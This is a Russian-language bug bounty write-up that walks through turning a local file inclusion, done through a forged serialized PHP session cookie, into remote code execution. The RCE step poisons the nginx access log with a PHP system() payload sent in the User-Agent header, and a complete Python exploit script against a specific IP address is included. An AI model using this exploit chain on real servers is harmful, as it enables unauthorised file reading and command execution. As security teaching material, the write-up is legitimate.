От LFI к RCE — Bug bounty
После нескольких часов сбора информации о веб-приложении и проведения рекогносцировки я заметил куки: PHPSESSID=.
PHPSESSID — куки PHPSESSID характерны для PHP и позволяют сайтам хранить сериализованные данные состояния. Они используются для установки пользовательской сессии и передачи данных состояния через временные куки, которые обычно называют сессионными куками (истекают, когда закрываете браузер). Обычно они кодируются в Base64.
Основные 2 способа декодирования:
Путь /www/index.html = 15 символов — поэтому s:15. Учитывая эту информацию, давайте немного поиграем и посмотрим, сможем ли мы это использовать!
Local File Inclusion (LFI) — это техника атаки, при которой злоумышленники заставляют веб-приложение выполнять или читать файлы на веб-сервере. Атаки LFI могут раскрывать конфиденциальную информацию, а в серьезных случаях могут привести к межсайтовому скриптингу (XSS) и удаленному выполнению кода (RCE).
Что будет, если я заменю /www/index.html на /etc/passwd? Можно использовать онлайн-декодер или следовать моему плану, используя Python!
Теперь, когда у меня закодированы новые вредоносные куки, я собираюсь продемонстрировать три разных способа их использования для получения результата:
1. Отправить запрос с помощью Python и вывести результаты
2. Отправить запрос с помощью Python и вывести результаты
3. Изменить куки с помощью Burp Suite
Атаки с удаленным выполнением кода (RCE) позволяют злоумышленнику удаленно выполнять вредоносный код на компьютере. Последствия уязвимости RCE могут варьироваться от выполнения вредоносного ПО до получения злоумышленником полного контроля над скомпрометированной машиной.
Для этого я буду использовать Python. Почему? Потому что Python — это весело. Я дам подробное объяснение моего скрипта через минуту, так что устраивайтесь поудобнее.
Самый простой способ получить RCE из уязвимости LFI — это через отравление логов. Что такое отравление логов?
Отравление логов или инъекция логов — это техника, которая позволяет злоумышленнику подделывать содержимое лог-файлов, например, вставляя вредоносный код в логи сервера, чтобы удаленно выполнять команды или получать обратную оболочку. Это будет работать только в том случае, если приложение уже уязвимо к LFI.
В этом случае я не смогу получить обратную оболочку, поэтому просто попробую перечислить содержимое директории, используя команду «ls -lsa» — «ls -l».
Помните, что уязвимость LFI позволяет нам только читать/выполнять файлы, а не записывать или создавать новые. Так как же мы собираемся внедрять код? А мы можем добавлять логи в файл сервера, не так ли?
Сначала нужно узнать, какой сервер работает:
NGINX!! Эти файлы хранятся в: /var/log/nginx/access.log
Сначала проверим, есть ли у нас доступ к лог-файлу с помощью нашего скрипта на Python:
Отлично, у нас есть доступ!! Теперь давайте посмотрим, сможем ли мы добавить логи, используя заголовок “User-Agent”
В моем Python-скрипте я добавлю следующее:
headers = {'User-Agent': 'Facundo Fernandez'}
Вместо того чтобы вводить имя, давайте используем:
headers = {'User-Agent': "<?php system('ls -lsa');?>"
import base64 # Импорт модуля base64, который используется для кодирования и декодирования данных в формате base64. # Создание байтовой строки, которая имитирует сериализованный объект PHP. # Это может быть использовано для эксплуатации уязвимости инъекции объектов в PHP-приложениях. malicious_cookie = b'O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}' print('Вредоносный куки:', malicious_cookie) # Вывод созданной вредоносной байтовой строки (куки) для демонстрации. # Кодирование вредоносного куки с использованием base64. # Это необходимо, поскольку куки обычно кодируются в base64 во время HTTP-коммуникации. malicious_cookie_encoded = base64.b64encode(malicious_cookie) print('Закодированные вредоносные куки:', malicious_cookie_encoded) # Вывод закодированной в base64 версии вредоносного куки. # Наша цель # Это должен быть URL, который находится под вашим контролем или где у вас есть разрешение на тестирование. url = 'http://142.93.32.153:31043' # Создание словаря куки с ключом 'PHPSESSID' и закодированным вредоносным куки в качестве значения. cookies = {'PHPSESSID': malicious_cookie_encoded.decode()} # Создание словаря заголовков, и передача PHP-кода в заголовке User-Agent. # Намерение здесь — протестировать удаленное выполнение кода (RCE), по выполнению команды 'ls'. headers = {'User-Agent': "<?php system('ls -lsa');?>"} # Отправка GET-запроса на указанный URL с вредоносными куки и заголовками. r = requests.get(url, cookies=cookies, headers=headers) print(r.text) # Вывод текста ответа от сервера. # Если сервер уязвим и выполняет код, можно увидеть результат команды 'ls -lsa' в ответе.